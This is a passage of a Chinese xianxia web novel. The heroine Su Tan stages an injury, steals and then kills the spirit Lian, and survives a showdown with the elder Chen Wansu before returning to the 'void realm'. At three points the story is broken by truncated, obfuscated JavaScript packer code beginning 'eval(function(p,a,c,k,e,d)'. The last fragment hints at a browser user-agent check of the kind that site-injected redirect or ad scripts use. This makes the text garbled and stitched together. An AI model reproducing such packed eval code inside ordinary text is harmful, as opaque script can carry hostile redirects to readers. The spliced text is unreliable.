苏昙把001全身上下检查一遍,确定他身体伤得不算严重,这才放下心来,语气带上些不易察觉的嗔怒:“被梅玉打伤是我的计划之一,而且外人看得越真越好。你这时候搞这么善解人意干什么?就算想让我感动煽情也不是现在吧?” 001无声看了苏昙几秒,幽幽道:“你没有提前告诉我。” 大哥,情况这么突然,怎么提前和你说!苏昙气得想狠狠怼他一顿,转念想道他也没有恶意,又一下子熄了火:“算了,你现在给我一拳,狠一点。” 苏昙指指她的腹部。 001:“……不好吧?” “磨磨唧唧的,能不能快——” 苏昙还没说完,立刻感到肚子火辣辣地痛起来,接着又呕出一大口血。 “你还真是毫不留情?” 她抹掉溢出嘴角的血丝,觉得这一拳多少带了点私人恩怨。 “那我下次轻点。”001想了想,还是乖巧补充道,“你说的,狠一点、越真越好。” 苏昙:“……” 001这个人,好话从他嘴里说出也像是阴阳怪气。 自找罪受这种事,她可不想再有第二次了。 苏昙把他榨干用尽,挥挥手道:“行了,你可以退下了。” 梅玉看到他的弟子被自己打飞,心下一坠,慌张地看了一眼站在远处阴影里的陈万肃。 另一边,何瑚正在和同伴训练,却瞥见苏昙不知怎的就径直撞到了柱子上,不一会还吐出鲜血。 “阿檀!”她飞快跑到苏昙身边,把苏昙扶了起来:“怎么样,还能站起来吗?” 苏昙:“……不太能。” 这是真的不太能。她的小腿是强撑着的,胸口被梅玉一掌呼的喘不上气,肚子现在也是火辣辣疼,五脏六腑翻江倒海似的。 “我要去找梅长老说理!”何瑚气得恨不得立刻把梅玉拽过来。 苏昙拉住何瑚袖子,在她耳旁轻声说道:“我没事,休息几天就好。你忘了……我体内有黑气,恢复起来很快。” 苏昙掐着时间,等梅玉赶到这里时,她刚好“美美”地晕了过去。 * “梅玉,你胆子可真大!什么时候还能越过我这个峰主行事了?” 望月峰戒训堂内,南宫望月把桌案拍得啪啪响,眼睛恨不得把梅玉的脸剜出一个窟窿。 “是陈长老,他说想要看一看苏弟子这段时间修炼得如何。我想他毕竟也是遣凌派长老,这么做肯定有他的道理……所以……所以就……” 梅玉百思不得其解,那一掌他明明收了力,为何苏昙还是受了这么重的伤?最后竟然还晕了过去!这遣凌派的弟子也太脆皮了吧! 南宫望月气不打一处来,越听梅玉那破锣嗓子越窝火,骂道:“他让你这么做?那你干脆跟着他去!还待在我望月峰干什么?苏檀体质本就和其他弟子不同,又是遣凌派二位长老的独女,她若真出了什么事,你一个人负责吗!你负得起责任吗?” 生气之余,她也悄悄松下一口气——看样子,苏昙进冥谷修炼的事还未被发现。 梅玉弓着身,头都快要低到肚子下面,声音从宽大的衣袖后面飘出来,心里早就把陈万肃翻来覆去骂了几百遍,违心道:“是我的错,您怎么罚我都一并承受。” 南宫望月着急去看苏昙情况,没有搭理他,只道:“怎么罚是之后的事,你先回去禁足反思吧。” “是。”梅玉抬起头,十分有眼色地为南宫望月打开门。 南宫望月离开戒训堂,来到苏昙的房间,何瑚正在一旁照顾。 “怎么样了?” “药师长老已经看过,阿檀身上最严重的伤是……是梅长老的那一掌,估计要歇两三日才行,其余并无大碍。刚才林戚掌门也过来送过治疗内伤的丹药,给她服下去了。” “那就好。”南宫望月对何瑚道,“还要多谢你及时发现。” 何瑚有些不好意思:“峰主您客气了。” 这时,床上的人缓缓睁开眼,轻轻拉了拉何瑚:“确实要谢谢你。” “你醒了!”何瑚露出笑容,转身去找水壶倒水。 南宫望月坐到床榻边,把苏昙扶起来:“现在感觉怎么样?” “挺好的。抱歉,让你们担心了。” 苏昙颇为愧疚地握住南宫望月的手。若不是001护在她背后,估计她还要醒得再晚些。 南宫望月看着苏昙,面上还是一副严肃神情,话里却流出一丝疼爱:“你是不是没有用灵力护住身体,硬接下了梅玉那一掌?修仙之人若无灵力护体,则与普通人无异。别想瞒我。” “……是。” “为了不让别人发现你体内修炼的阴气?” “嗯。”苏昙胡诌道,“梅长老也是助人心切,加上我的体术还不够好,和他对战的确让我学到很多。” “不过,我听闻此次对战是陈长老授意,”她话锋一转,提出建议,“既然陈长老如此关心弟子课业,为何不将他请过来,暂任望月峰的术法课老师?” 何瑚端着两杯茶过来,刚好听到苏昙这一句:“请陈长老过来?” 南宫望月也问道:“为什么这么想?” “谢谢。”苏昙接过水喝了一口,继续说,“半年前遣凌派送我们来这,就是愿与望月峰本相互学习交流,既如此,为何不干脆将我派长老一块调到望月峰任职一段时间,这样一来,才算得上真正的相互学习。而陈长老每月末都要来望月峰一趟,就让他一直待在望月峰,岂不是更方便?” 南宫望月轻轻转着何瑚递来的茶杯,思考苏昙的一番建议。 何瑚在旁边也思索道:“确实,弟子们有什么疑虑也能直接询问,不用非要等到月末才能见到陈长老。” 南宫望月觉得不无道理:“这件事我还要回去同其他长老和遣凌派商量,若是可行,日后我会在峰内一同通知。” 苏昙:“多谢峰主。” “好了,”南宫望月站起身,把她手里的杯子搁在一旁,“你还需要休息,我就不打扰你了。” 何瑚:“峰主放心,这有我呢!” 第二天晚上,南宫望月把所有长老叫到戒训堂,宣布调任长老的事情。 其中包括还在禁足的梅玉。 “关于两派间长老交换学习的事遣凌派已经同意。不日,遣凌派的陈长老便会到我们望月峰任教。”南宫望月环视坐着的一圈长老,“你们有谁,自愿前去调任?” “这……” 众长老噤声不言。 南宫望月知道这件事的担子不小,她补充道:“时间不会很久,只有四个月,调任时间随两派之间的交换学习一同结束。” “这……” 众长老依旧噤声。 南宫望月听着下面低如蚊哼的嗡嗡声,皱了皱眉:“如果没人愿意,我就挑人去了。” 说完,她再次环视在座长老,与他们的……头顶对视。 “都给我抬头!”南宫望月最后问道,“还是一个人都没有吗?” “……我去吧。” 戒训堂内响起一道破锣声——同时出现数十张突然亮起的面孔。众长老纷纷松了一口气。 梅玉咧着嘴干笑,眼角的皱纹却朝下撇,感觉快要哭出来:“我愿意调任。” 也算是一个将功补过的机会。 南宫望月看着他,终于露出满意的笑容:“梅长老,请你务必将我望月峰的峰气宣扬出去,尽情吸收更多有用的知识回来!” “好……”梅玉认命了。 * 苏昙提前和南宫望月打过招呼,这段时间她不再去冥谷,而是和其他弟子一样去上课。南宫望月只当是她想歇歇,并无多想便答应。 两日后,陈万肃如约出现在望月峰的术法课上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她前两日刚和南宫洛奚在灵法殿酣畅淋漓地对打过一回。 之前她就是个望月峰的挂名弟子,整日在冥谷,连何瑚都难见上一面。 最近她开始和其他弟子一样正常修习上课,不免和南宫洛奚交手,不得不说,他的修为比起在虚境时提升许多。乍一看,此男的眉眼也长开许多,倒是有几分林戚年轻时的威凛,俨然一副少年峰主的模样。 苏昙一本正经地点点头:“他确实厉害,人也更好看了。” 眼看何瑚又要笑骂她,苏昙及时刹车:“好了,我先去上术法课,下午见!” 被苏昙这么一打趣,何瑚哪还有什么睡意,干脆也爬起来练早功去了。 苏昙从房间出来,走了一段路后掉头转弯,径直出了望月峰,潜进岳门宗。两个月前莲说的话苏昙还没忘,他的命星还在陈鑫郁体内。 而莲不死,黑气便不消。她还需要黑气,同时她也取走莲的命。 有过之前的经验,苏昙轻车熟路来到陈鑫郁房间,确定他还在睡眠,便化作一团黑影无声无息地从门缝间钻进去。 陈鑫郁对房间里的不速之客毫无察觉。即使睡着,他眉头依旧微微皱着,并不安生。 取人命星这事说来也不难,唯一要紧的就是不能强制。要么当事人自愿给出,要么趁人不备……偷走。很下流的做法。 苏昙毫不犹豫地选择了后者。 她用黑气引出陈鑫郁体内的莲的命星,飞快收进自己手中。完事后,她敛息静静地看着依然在床上熟睡的人,却想到了陈万肃。 平心而论,他对陈鑫郁并不好,又是命星,又是毒蛊,根本算不上一个称职的义父。 但某些方面来讲,他又把陈鑫郁保护得很好。陈鑫郁在陈万肃身边十几年,哪怕陈万肃被黑气影响了神智,情绪时而狂躁时而平稳,他竟一点也不知道陈万肃与莲的那些事情。 他本不善言辞,却在三岁那年遇到愿意收养他,对他和善的陈万肃。 就连在虚境试炼,陈鑫郁故意引黑气到她身上,都只是因为陈万肃让他这样做,他便照做了。 也许,这就是命运,让他们二人注定要纠缠下去。 38. 世界二(23) 苏昙悄悄离开陈鑫郁的房间,拐进熟的不能再熟的地下密室。 莲背对她半躺着,从鼻腔哼出声:“两个月了,你还知道来找我。” 自上次一别,陈万肃起疑,苏昙便没再找过莲。她早就纳闷,每次离开岳门宗,她都会把所有来过的痕迹抹除,陈万肃又是如何起疑? 苏昙反问:“我还没问你,陈万肃为何会怀疑我来过这?你告诉他的?” 莲把身子转过来:“没错,是我在外面的砚台上动了手脚。你动作太慢,我等不及,必须得从中推波助澜一把。” “……心急可吃不了热豆腐。”苏昙不想再和他掰扯这些没用的,谈起正事,“再有两个月就是仙门试炼,那时遣凌派在望月峰的学习交流也要结束,加上仙门试炼由涟华门负责,绝大多数弟子和长老都会去那,众人目光便不会过多放在冥谷。而陈万肃大概率会在那天去冥谷,正是杀掉他的绝佳时机。” “可以,但我有一个要求。”莲点头说道,“那一天你要把我带出去,我得亲眼看着。” “没问题。” 莲又想到什么,他看向苏昙,怀疑道:“你到底有没有能力杀了陈万肃?若是做不到,血契可是会让你魂飞魄散。” 苏昙撇撇嘴:“至少比你强。” 如今莲的命星在她手中,血契的存在与否也就由她掌握。 苏昙算着还有时间,开始活动拳脚,笑道:“要不要看看,我最近跟着陈万肃练得如何?” “那就来吧。”莲久违地迎战。 * 时间不知不觉带走了凛冽寒冬,在新一年立春之时,给各门各派送来了仙门试炼的消息。 再有三日,距离望月峰二十里之外的涟华门要开始举办新一年的仙门试炼大会。 与此同时,遣凌派与望月峰的交流学习就要结束,两日后便会送遣凌派的五名弟子回去。望月峰的峰主南宫望月,几天前便下令停下了所有课业,开始忙着准备参加仙门试炼的事情。 何瑚百无聊赖地坐在院子里的树下,一边数着地上新冒出来的草芽,一边等苏昙回来。 明明新一年试炼在即,这人还整日泡在冥谷,连着几天都不见人影。正当何瑚决定去找她时,院门口出现一个熟悉的身形。 “阿檀,我正想去找你呢!”何瑚站起来,远远问道,“今年的仙门试炼你还去——” 最后一个“吗”字还没吐出,一阵风便刮到她面前,紧接着,苏昙的梭化掌迎面而来。 何瑚瞬间闪开,不解地看着她:“你怎么——” 又是一句没说完的话,苏昙已经提脚欲朝她胸口踹去。何瑚不再说话,神情变得严肃起来,认真迎接她的攻击。 苏昙同样冷着脸,不断追着何瑚打,像永远不会累,也永远不会停下似的。她招招狠辣,却没一个落在何瑚命门。 何瑚自然察觉得到。她闪到离苏昙三步远的位置停下,问道:“你心里有事?” 苏昙没有说话,只是趁着何瑚停下的空隙,挥拳朝她脸上打去。 何瑚没有躲。 她为何不躲开? 苏昙没有什么情绪的眼里露出丝丝诧异。 “嘶,”何瑚擦掉嘴角血丝,冷笑问道,“好奇我为什么没有躲开?以为这样就能把我推开吗?” 她上前两步,猝不及防抬手挥向苏昙的脸。 苏昙闭上眼睛,本以为熟悉的疼痛会到来,却不曾想,待一阵风拂过脸颊,她等到了一个拥抱。 她被何瑚紧紧禁锢在怀里,听她一字一句说道:“我告诉你苏檀,只要你一天不死,我就一天不会离开你。” “我、”苏昙长久维持的理性被她一句话打破,这些时间里她拼命搭好的心理防线瞬间崩塌,眼泪溃不成堤地涌出眼眶,模糊周围一切。她那些早已准备好的说辞一并被眼泪冲走,就连被长久地压抑的情绪,竟然也神奇地释放出来了。 她趴在何瑚肩头,渐渐平复好情绪,缓缓说道:“……我要走了。” 也许三天过后,这一切都会结束。 有人会离开,有人会回来。 “去哪?” 何瑚不理解。 “去哪?”苏昙笑了笑,她恢复到平常那副天不怕地不怕的样子,拉着何瑚坐到院子的树下,“遣凌派啊。” 何瑚以为她不舍望月峰,安慰道:“这有什么,要是想来,我便提前给南宫洛奚打招呼,让他好好招待我们!” “好啊。”苏昙看向何瑚,“反正还有时间,不如我再给你讲段故事吧。” “洗耳恭听!” …… 苏昙对何瑚讲黑气,讲陈万肃的复仇计划,讲陈万肃和陈鑫郁的相识过往,讲她和莲的交易,讲她的计划。讲她到望月峰发生的所有。 何瑚半晌都没说出话。 “怎么了?”苏昙像个事不关己的看众,主动地对何瑚说道,“你不相信?要不我现给你耍一段黑气看看?” 何瑚心情很复杂,她知道苏昙平日里因为要修炼黑气很辛苦,却不曾想她身上的伤痕像云烟一样多得数不清,来来往往,不曾留下痕迹,但那样真实的存在过。 她声音有些颤抖:“为什么不告诉穆掌门他们?自己一个人承担,不累吗?” “我父母与陈万肃是多年好友,若是他们知晓此事,恐怕会牵扯甚广。他们一直不知,事后最多会有担心和责骂;但他们若是一早就知道,那就不仅是担心,我做事也会受到限制。一直选择逃避,被他人保护,并不能解决问题。” 苏昙想到了原主。 何瑚觉得苏昙说得不无道理:“那你要讲的故事结束了吗?” “并未。三日后,我会去冥谷,那时我还想请你去帮我做件事。” “好,我帮。” “……你不要再思考一下吗?毕竟,要是真的做了,说不定会连着你一起惩罚。” 何瑚看到苏昙犹豫神情,说道:“你都一个人抗下这么多事,为何现在又怕?若是你担心我,大可不必,我一人做事一人担。” “好。”苏昙果断拿出两封信给她,“三天之后,从仙门试炼那一天早上辰时算起,若两个时辰后我还没回来,就把上面这封信交给我母亲和父亲,务必让他们赶快来冥谷。” “没问题。”何瑚看到第二封上面写的是自己的名字,疑惑道,“那下面这封?” 苏昙不容置疑道:“这一封是给你的。但现在不能拆,必须得等到事情都结束。” “知道啦。”何瑚把信收好,担忧地问苏昙,“你最后……会活着回来吗?” “想什么呢!”苏昙轻轻给何瑚一个脑瓜蹦,“你就没想过为何我一直只靠灵力和体术,找陈万肃对练?只是为了进步吗?当然也是为了熟悉他的套路,在最后拖住他,坚持到你带人来救我啊。” 何瑚恍然大悟:“所以你不准备杀陈长老!” “做人还是要有自知之明。而且,陈万肃他原本只想为师门报仇。我分得清,他想杀我是因为黑气长期蛊惑了他的神智,这才走上了极端。”苏昙眸色深沉,说道,“不过有一个人,必须得死。” 她早就看那人不顺眼了。 “你是说莲?黑气因他而起,就不该存在。”何瑚想到之前她们在虚境受伤,心中仍生出后怕,“……那陈鑫郁呢,他怎么办?” 苏昙:“陈鑫郁么?他自己选的路,该怎么走下去,不是我们能决定的。” 来见何瑚之前,她潜进岳门宗,把陈万肃处心积虑藏起的信纸全部交给了陈鑫郁。 她把一个重新选择的机会放到了他手上。 * 两日后,苏昙趁夜深人静来到密室和莲见面。 莲一进到苏昙识海,便被她死死压制在一角,根本动弹不得。 他火冒三丈地吼道:“你骗我!” 苏昙嘴角不屑地扯了一下,边赶往冥谷封印的阵眼,边和他聊:“骗你干什么?明明是自己没实力。你要是能自如活动,我不介意在识海再和你打一架。” 转眼,她带着莲来到地方。阵眼中间十分空旷,周围只有有树木巨石遮挡,将阵眼围成一个巨大的坑洼,在坑洼最上边缘,还有一个残留的守灵台,现在已经损坏了,很久都没被人使用过,四周长满了杂草。 苏昙随便挑了一棵歪脖子树,一跃上去,找了个舒服的姿势躺好,准备提前一天在这里过夜。 “我可告诉你——唔……唔!” 莲还想说什么,被苏昙直接用术法禁言。 她站在识海,把莲撂到一边,装模做样地掏了掏耳朵:“吵死了,你先把嘴闭上吧。” 明天可不会轻松,她还想好好休息一晚呢。 苏昙向四周探头问道:“001?” “我在。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不过131倒是喜欢从宿主那收集捣鼓各种人类玩意,或许可以问问他。001暗自决定。 苏昙:“就知道你靠谱!” 听到001答应,她顿时浑身充满了劲,甚至都想给他一个“感恩再生衣食父母”的拥抱。 为了美食,她也要努力苟活,熬过明天! 一夜过后,天光乍破。 苏昙是被初春残留的冷峭冻醒的。 许是冥谷邪祟感应到今天是它们命数将近之日,竟罕见得一个都没出来游荡,把冥谷衬得更加凄凉不详。 她十分没有眼色地把还在睡梦中的莲叫醒,对他说道:“你猜,今天可是仙门试炼开始第一天,陈鑫郁会不会来这?” “唔!” 哪来的狗叫?苏昙闻声探去,发现声音源头竟然是莲。 “啊,抱歉,忘记你还在禁言。” 她耸了耸肩,不怎么有诚意地道歉,给莲解了咒。 莲没好气道:“我管他来不来,陈万肃来了就行!” 话音落,说曹操曹操到。 苏昙刚刚找到一个隐蔽又可以看见全局的位置藏好,便发觉有人进到冥谷。 正是陈鑫郁。 他转眼不见人影,估计也是藏起来了。想必他已经仔细读过陈万肃的那些随记。 苏昙继续静静等待。 果然,还未到辰时,一个熟悉的身影出现在阵眼。 她掐诀隐去了气息。 陈万肃环顾阵眼四周,随后举起双臂施法。很快,整个冥谷被封住,一个角落都没放过。封印完成,他又双手交握置于胸前,嘴里念念有词。 苏昙入识海,问道:“这是在干什么?” “画阵。”莲没好气地给她解说,“当年他之所以愿意与我定下契约以魂养我,不仅因为我能给他黑气帮他变强,更重要的,是我知道如何消灭冥谷里的阴邪淫祟。” “如何消灭?” “需施阵者亲自入阵,引心头精血作为新的阵眼。” 苏昙怀疑道:“就这么简单?” “当然不是。这心头精血需要施阵者常年修炼黑气,且至少保持三十六年纯阳之体,万不能破戒。” 而陈万肃今年三十八岁,却一直没有成家。 苏昙挑眉,黑气至阴,精血至阳,这法子还真是有意思。 她问道:“你又是如何知道这方法的?” 莲:“我就是知道。” 苏昙心里又是一阵疑惑。怎么看,他都不像是这个世界的人,反而像是一个从天而降的NPC,有自己单独的支线任务……就像她一样。 苏昙压下心中猜疑。 不过,不管莲是谁,他一会都要死。 那就先死了再说。 39. 世界二(24) 陈万肃将灵力和黑气源源不断汇聚到阵眼,形成一道闪亮的光柱。 不知何时,天空被厚重的乌云笼罩,狂风又把乌云卷着往前走,黑压压一片。空气中弥漫着压抑沉闷的氛围,可能是所有邪祟都被驱到了阵眼的缘故。 邪祟疯狂地尖叫,此起彼伏的刺耳叫声一遍遍划过耳膜,刺激着大脑神经,令人目眩。阵眼中心的光柱不断变得更高,更亮,更大。 时间在一分一秒流逝。 就在压抑到极致的平衡点就要崩塌时,粗.大的光柱突然破裂,迸发出巨大能量。灵力和黑气带来的冲击瞬间荡平整个冥谷,包括里面所有的阴邪淫祟。 世界仿佛被按下静音键。久违的安宁随空中漂浮的尘土蔓延,扩展,笼罩着比先前更多的空间,更有力地延展着。 直到陈万肃转身,苏昙才发现,他的嘴角已经渗出血丝。 做阵消耗了陈万肃将近半生的修为。 苏昙回神,她该去做她的事了。 她在识海对莲招手,待莲靠近的那一刻,把早就准备好的命星强制送进他身体。 “你对我做了什么!”莲心脏猛地吃痛,心里涌起不好的预感,“刚才的东西……是我的命星?” “是。”苏昙笑了笑,说道,“还记得血契吗?我有时在想,若你死了,这契约是不是,也就不作数了。” “苏檀,你想干什么?!”莲看不到她的脸,却感到一股瘆人的凉意布满全身,他警告道,“我劝你可别乱来!” “想干什么?当然是想让你走得完整一些!” 苏昙一手掐住莲的脖子,一手握紧匕首,干净利落地捅进莲的心脏。拔出来时,她甚至将刃身在莲的胸腔里调皮地转了一圈,将里面搅和得一团乱,再没有理清的可能。 苏昙颇为自责道:“本来都以为我不会再用这把匕首。但现在看来,也算是物尽其用。” “你……” 莲哑了声音,不可置信地捂住心脏,浑身脱力,瘫倒在地。 苏昙不想再听他说话,她手起刀落,匕刃划过莲的脖颈,割断了他喉间最后一丝呻|吟。下一秒,她在脸上感觉到一股热流,顺着下颌骨淌到下巴,又滴落在地。她踢了踢脚下的人,确定莲已经彻底没了气息。 苏昙面无表情地擦掉脸上的血迹,把刀扔到一旁,呼吸突然变得粗重。 莲说的都是真的。 他一死,她体内所有修炼黑气提升的修为全都随之消失。她尝试再唤出黑气,但手心空无一物。 苏昙算了下时间,离午时还有一个时辰。 接下来,就要靠她和何瑚的速度了。 阵眼处,陈万肃察觉到体内的黑气尽数消失,心头狠狠一惊。他当然知道黑气消失意味着什么。 陈万肃不合时宜地想起了陈鑫郁,嘴角绷得又直又紧。他压下狂躁的情绪,朝空旷的冥谷喊道:“是谁在搞鬼?出来!” 苏昙本想应了他的猜疑,直接现身,不曾想另一道男声响起。 “……义父。” 陈鑫郁缓缓走出来,走向陈万肃。 “你为何会在这里!”陈万肃目光移到陈鑫郁手上,看见他紧紧攥着的信纸,眼里闪过一丝惊异,问道,“谁给你的?” “这很重要吗?”陈鑫郁神色哀戚,继续向前走,“为何十八年……十八年了,你都瞒着我,就是不愿告诉我?” 陈万肃:“你不需要知道。” “是不需要,还是因为我就只是你复仇的一枚棋子,是你在路边突发慈悲捡回来的……一条没人要的,狗?”陈鑫郁走到陈万肃面前站定。 “陈鑫郁!” 陈万肃提高音量,怒喝着给了眼前的人一巴掌。 陈鑫郁被巴掌扇得偏过头,嘴边却带着笑:“我早就习惯了。一个人修习,一个人吃饭,一个人忍受着毒蛊,我竟还天真地以为是我从小就有的怪病。” “义父……父亲,你还打算瞒我到什么时候?是完成你的复仇大业,杀了苏檀之后,你不需要我了,不再可怜我了,再把我随手丢掉,是吗?” 陈鑫郁的话犹如一根根酸刺,精准地刺进陈万肃心脏。 陈万肃这才发觉,没了黑气扰乱神智,他竟连发疯的勇气都没了。 在他遇到莲的那一刻就注定会有这么一天。 陈鑫郁是他孤苦一生的唯一牵挂,也是唯一软肋。他养之,骂之,打之,亦爱之。 他是个罪人。他走上歧路,根本不配解释。 如今莲已死,仇已报,陈万肃心里反倒轻了几分。 他笑着摇摇头,引出体内内丹。 陈鑫郁脸色突变:“你要做什么,父亲!” 陈万肃眼底透出悲哀的笑意,施法困住陈鑫郁,将自己修炼出的内丹送进他体内。 “陈万肃,你到底要干什么?!”陈鑫郁双眼通红红,尖叫着疯狂摇头。 “解你体内毒蛊。你自由了。” “我不!” 陈鑫郁死死拉住陈万肃,又被他扯开。他不受控制地浮到半空,霎时间,周身爆发出一层层光圈,身体迸出的冲击和能量竟直接震碎陈万肃设下的冥谷封印! 顿时,天光重现。 苏昙被透进的阳光晃了下眼。 陈万肃不再理会发疯的陈鑫郁。他转过身,说道:“出来吧,苏檀。” 他早就发现了。 苏昙整了整衣服,走出来说道:“现在你既无黑气,又失内丹,修为也尽失大半,恐怕撑不了多久。” “对付你一个,足够了。” 陈万肃不多废话,直接朝苏昙发起攻击。 * 遣凌派内。 何瑚从一早上便心神不安。 南宫洛奚陪在她身边,一遍遍宽慰着她:“别太担心,苏昙肯定会没事的。” “现在什么时辰了?” “离午时还有三刻。你已经问了我五遍了,别着急。” 何瑚焦急地转圈:“我还是不放心。要不我们现在就去给掌门说吧?” “那我和你一起。” “不行。我去告诉两位掌门,你去望月峰找南宫峰主。” “好。”南宫洛奚抱了抱何瑚,“注意安全,我们冥谷见。” …… “什么?她今天去了冥谷?!”穆遣刚听到一半,气得恨不得立刻把苏檀找过来,“她为何不提前告知我们?!” 苏婉凌按住他:“眼下不是生气的时候。我们马上去冥谷,信在路上看也不迟。” 何瑚不敢多言,生怕再多嘴说了什么,引起二老的担心。她小鸡啄米似地点头:“没错,阿檀要说的都在信里了。” * 冥谷阵眼。 苏昙无意杀陈万肃,耐不住他敌意太重,几次下意识出手差点直中陈万肃命门。而陈万肃也好似全然不在乎,几次都不曾闪躲,仿佛抱着必死的淡漠。 可她一点不想接下这颗烫手山芋,最后棘手的事还是交给遣凌派掌门来处理。 她挡下陈万肃的梭化掌,厉声质问道:“陈万肃,当年你心中若是真的有我母亲,又怎会与她不辞而别?到头来竟对她的女儿生出歹心!” 陈万肃冷笑一声,紧追苏昙,对她甩出一记定身诀:“我身上背负了整个宗门的深仇,我不能抛下满门枉死的性命!” 苏昙侧身躲过,不依道:“你心里装不了那么多,就早该做出取舍!自知已经走入歧途,却任其发展不加阻断,看似冠冕堂皇,实则早已败絮其内!” “……你说得对。” 陈万肃突然停手。 苏昙微微睁大眼睛:“你——” 她的破灵掌已经施出,陈万肃却没有丝毫躲闪的意图。 破灵掌虽不致命,但陈万肃已是一副残破躯体,中了此掌,恐怕也就只剩半口气。 陈万肃硬生生接下这一掌,吐出一口鲜血,缓缓说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陈鑫郁,你是不是傻?!”她嗔怒道,“这么不负责任地要结束你来之不易的二次人生,难道你前二十一年的生活都拿去喂狗了吗?!陈万肃费劲心力,又是毒蛊又是内丹,他早就想尽一切办法,要把他自己留到你身边,要让你好好活下去!你能不能清醒点!” 陈鑫郁抬起头,被她吼得怔住神。 看陈鑫郁呆住,苏昙干脆一掌将他打晕,免得多事。 冥谷阴气重,没了黑气,苏昙知道她自己的身体也快要撑不了多久,刚才吼完,头就一阵阵发晕,身体摇摇摆摆地晃了晃。 “檀儿!” 谁在叫她?苏昙睁大眼睛,视线却越发模糊。正当她要倒下时,一个温暖宽厚的怀抱稳稳地接住了她。 几乎同一时间,苏昙感觉到她离开了这具身体。 原主回来了。 闭眼前一秒,“苏昙”看清了那人的面容,正是穆遣。 何瑚她做到了。 * 等一切尘埃落地,已是第二天巳时,冥谷内邪祟被陈万肃一举荡平,望月峰和遣凌派将他的尸首埋到了阵眼处。而苏檀和陈鑫郁一并被带回遣凌派内,两人都陷入昏迷,迟迟不醒。 转眼又是三日时光。 何瑚从冥谷回来,被苏婉凌罚了禁闭。 她本以为会被罚得很惨,不料功过相抵,才不至于被遣出派内。 穆遣则整日待在家中不出,宣告下去,所有其他的事,都要等苏檀醒了再说。 闲着也没事,何瑚想起苏昙还给她留下一封信。她打开信纸,几行娟秀的字体映入眼帘: “阿瑚,首先谢谢你愿意和我一起冒险。但很抱歉,今年的仙门试炼恐怕不能陪你一起参加了。不过,你还有南宫洛奚在身边,真好。” “哦对了,说不定过段时间,你又能交上新朋友呢。” “她的名字,也叫苏檀。” 40. 虚空之境 苏昙做了一个很长的梦。 梦里隐约一直有一个声音在唤她:“留下来……留下来……” 这声音仿佛从遥远的天边传来,低沉而浑厚,她使劲听了半天,也只听得清这三个字。 这句话也许重复了百遍,千遍;苏昙一直往前走,或许走了千步,万步。她整个身体牢牢被声音吸引,她想停下,却控制不住双脚。 渐渐地,她眼前开始有了彩色的画面,如电影闪回,不断从面前掠过。 那是第一个里世界,她意外从绳索上掉落,不同的是,眼前的画面中,她的身后空无一人,她狠狠地撞上了巨石,顿时鲜血遍地,耳边充斥着此起彼伏的哭叫声和警报声,如低压压的乌云,笼罩在她的头顶。 有一瞬间,苏昙同样地感受到刻骨铭心的痛楚,陷入孤立无援的绝望,视线蓦地一黑。 只是这痛楚还未维持多长时间,画面一闪而过,她眼前又出现新的场景。 她出现在虚境,一次次被黑气折磨至精神癫狂,满身都是她不受控制自虐般抓伤的红血痕,这一次,她体内既无聚灵丸,身边也无人陪伴。 几乎同一时刻,苏昙的精神也恍惚了一霎,浑身冰凉。 转眼,画面再次变化,她看到了苏英华和林远。他们笑看着她挥手,苏昙想停下脚步。可谁知,她越是挣扎着要停下,脚下的步子就越发加快,甚至狂奔起来。 “爸!妈!” 苏昙回头,却发现二老身影早已消失。 前方不再有彩色画面,她眼前重新蒙上黑暗。 不知何时,她耳边遥远的呼唤慢慢微弱,苏昙察觉到她身体出现了异样。 “咕噜噜……咕噜噜……” ——久违而熟悉的饥饿感包围肠胃。 肚子的叫嚣声越来越大,苏昙这才想起她早已离开第二个里世界,按理说现在应在虚空之境才对。她紧紧闭上眼,又猛地睁开眼,天花板熟悉的吊顶灯光猝不及防进入她的视线,晃得有些刺眼。 她果然在虚空之境,方才的那些都是梦魇。 然而梦魇虽假,感受却真。 苏昙习惯性想要确定001是否还在,环顾一圈房间,并未发现他的身影。 001的位置没什么变化,就是他对面的工位依旧无人,桌上面又多出一些小玩意和杂乱的资料。 苏昙活动了一下发僵的身体,走出房间,四处闲逛到虚空之境的大厅。 一路上,有不少行色匆匆的子系统拿着牛皮档案,从她身边擦肩而过,并未觉得苏昙的出现有什么不妥。倒是令她心里暗自感叹,原来虚空之境的子系统都和001一样,是满眼只有绩效的工作狂! 走着走着,她察觉到身边的子系统越来越少,周围也变越来越静。不知何时,她走入了一条长得望不见头的长廊。 长廊无限向前延申,只有一缕微弱光影照射最中间的路。苏昙恍然听见,梦魇中的呼唤又再次响起。低沉的声音似幻似真,她一会觉得震耳欲聋,一会觉得耳边如有蚊嗡。 那长廊尽头一定有什么存在。 苏昙没有停下脚步,继续循着声音往前走。 她走得太过专注认真,以至没有发现不远处的阴影里,还藏着另一个外来者。 外来者眼看苏昙就要跨过密门前的分界线,飞速将她拉入墙边的阴影中无声离开。 “你谁?放开我!”苏昙被那人瞬间带回虚空之境大厅。她心里有点慌乱,挣开了依旧抱着自己的人,转过身定睛一看,发现竟是熟人。 “001?”她的表情像活见了鬼,“怎么哪都有你?” 001也察觉到两人之间的距离太近,局促地松开手臂,反问道:“你怎么会在那?” “那是哪里?” “主神所在的地方。” “原来你们主神在那住密门里面啊。” 001缓过神,他看着面前眼神飘忽的人,声音冷了几分:“你要是真因为无知闯进密门,恐怕见到主神之前,就先把命给丢了。” “……” 苏昙也知道这次是她行事冲动,131之前就提醒过她不要乱跑。她理亏,没什么好解释的。 001瞧她不说话,又觉心里一阵发堵,正要再说什么,却被一道不礼貌的声音抢了先。 苏昙不好意思地指了指肚子,抿着嘴角难为情道:“那个,是我饿了。” 001哑声,发现他是真是越来越拿苏昙没办法,每次心里的火苗刚窜起来,来没来得及发作,就能被她胡乱一通搅灭。 